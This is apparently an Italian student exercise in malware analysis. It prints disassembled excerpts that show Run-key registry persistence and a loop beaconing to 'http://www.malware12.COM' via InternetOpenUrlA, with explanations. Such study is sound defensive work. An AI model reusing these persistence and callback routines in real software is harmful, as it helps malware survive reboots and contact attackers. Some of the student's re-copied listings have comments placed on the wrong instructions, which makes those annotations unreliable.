



HENDOUS malware

Malware analysis
Morgan Petrelli

TRACCIA

Con riferimento agli estratti di un malware reale, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza , evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

```
Traccia: 0040286F push 2 ; samDesired
00402871 push eax ; ulOptions
00402872 push offset SubKey ; "Software\Microsoft\Windows\CurrentVersion\Run"
00402877 push HKEY_LOCAL_MACHINE ; hKey
0040287C call esi ; RegOpenKeyExW
0040287E test eax, eax
00402880 jnz short loc_4028C5
00402882 loc_402882:
00402882 lea ecx, [esp+424h+Data]
00402886 push ecx ; lpString
00402887 mov bl, 1
00402889 call ds:lstrlenW
0040288F lea edx, [eax+eax+2]
00402893 push edx ; cbData
00402894 mov edx, [esp+428h+hKey]
00402898 lea eax, [esp+428h+Data]
0040289C push eax ; lpData
0040289D push 1 ; dwType
0040289F push 0 ; Reserved
004028A1 lea ecx, [esp+434h+ValueName]
004028A8 push ecx ; lpValueName
004028A9 push edx ; hKey
004028AA call ds:RegSetValueExW
```

4

```
Traccia: .text:00401150 ; :::::::::::::: SUB R O U T I N E ::::::::::::::
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPUUID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECTo
.text:00401150     push    esi
.text:00401151     push    edi
.text:00401152     push    0          ; dwFlags
.text:00401154     push    0          ; lpszProxyBypass
.text:00401156     push    0          ; lpszProxy
.text:00401158     push    1          ; dwAccessType
.text:0040115A     push    offset szAgent ; "Internet Explorer 8.0"
.text:0040115F     call    ds:InternetOpenA
.text:00401165     mov     edi, ds:InternetOpenUrlA
.text:0040116B     mov     esi, eax
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+301j
.text:0040116D     push    0          ; dwContext
.text:0040116F     push    80000000h ; dwFlags
.text:00401174     push    0          ; dwHeadersLength
.text:00401176     push    0          ; lpszHeaders
.text:00401178     push    offset szUrl ; "http://www.malware12.COM"
.text:0040117D     push    esi          ; hInternet
.text:0040117E     call    edi ; InternetOpenUrlA
.text:00401180     jmp     short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
```

PERSISTENZA

Il malware ottiene la persistenza modificando il Registro di Windows per assicurarsi di avviarsi ogni volta che il sistema si avvia.

per ottenere la persistenza il malware inserisce un nuovo valore in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run con il comando RegOpenKeyExW.

passa i parametri, come la lunghezza della stringa e il valore dei dati tramite "push".

Scrive poi un valore nella chiave di registro utilizzando RegSetValueExW, assicurando che il malware verrà eseguito all'avvio del sistema.

```
00402871 push    ecx      , [esp+424h+ValueName]
00402872 push    offset SubKey  ; "Software\Microsoft\Windows\CurrentVersion\Run"
00402877 push    HKEY_LOCAL_MACHINE ; hKey
0040287C call    esi      ; RegOpenKeyExW
0040287E test    eax, eax
00402880 jnz     short loc_4028C5
00402882
loc_402882:
00402882 lea     ecx, [esp+424h+Data]
00402886 push    ecx      ; lpString
00402887 mov     bl, 1
00402889 call    ds:lstrlenW
0040288F lea     edx, [eax+eax+2]
00402893 push    edx      ; cbData
00402894 mov     edx, [esp+428h+hKey]
00402898 lea     eax, [esp+428h+Data]
0040289C push    eax      ; lpData
0040289D push    1       ; dwType
0040289F push    0       ; Reserved
004028A1 lea     ecx, [esp+434h+ValueName]
004028A8 push    ecx      ; lpValueName
004028A9 push    edx      ; hKey
004028AA call    ds:RegSetValueExW
```

CLIENT PER LA CONNESSIONE AD INTERNET

```
.text:00401150          push    esi
.text:00401151          push    edi
.text:00401152          push    0
.text:00401154          push    0
.text:00401156          push    0
.text:00401158          push    1
.text:0040115A          push    offset szAgent ; "Internet Explorer 8.0"
.text:0040115F          call    ds:InternetOpenA
.text:00401165          mov     edi, ds:InternetOpenUrlA
.text:0040116B          mov     esi, eax
```

Il malware utilizza InternetOpenA per iniziare una sessione internet e utilizza internet explorer 8.0 come client software.

CONNESSIONE ALL'URL

```
.text:00401165          mov    edi, ds:InternetOpenUrlA  
.text:0040116B          mov    esi, eax  
.text:0040116D          push   0  
.text:0040116F          push   80000000h ; dwContext  
.text:00401174          push   0  
.text:00401176          push   0  
.text:00401178          push   offset szUrl ; dwFlags  
.text:0040117D          push   esi  
.text:0040117E          call   edi ; dwHeadersLength  
.text:00401180          jmp    short loc_40116D ; lpSzHeaders  
.text:00401180 StartAddress  
.text:00401180          endp
```

Il malware tenta di connettersi all'url "<http://www.malware12.com>" usando la chiamata di funzione "InternetOpenUrlA".

"LEA SIGNIFICATO E FUNZIONAMENTO"

```
040288F lea    edx, [eax+eax+2]
0402893 push   edx      ; cbData
0402894 mov    edx, [esp+428h+hKey]
0402898 lea    eax, [esp+428h+Data]
040289C push   eax      ; lpData
040289D push   1         ; dwType
040289F push   0         ; Reserved
04028A1 lea    ecx, [esp+434h+ValueName]
04028A8 push   ecx      ; lpValueName
```

Il comando "LEA-Load Effective Address" calcola l'indirizzo di una locazione di memoria e lo carica in un registro, a differenza di altre istruzioni che caricano il valore da una locazione di memoria, il comando LEA carica l'indirizzo stesso. È un'istruzione estremamente utile per manipolare indirizzi di memoria senza accedere direttamente al contenuto della memoria, rendendola fondamentale per la gestione efficiente dei dati in assembly.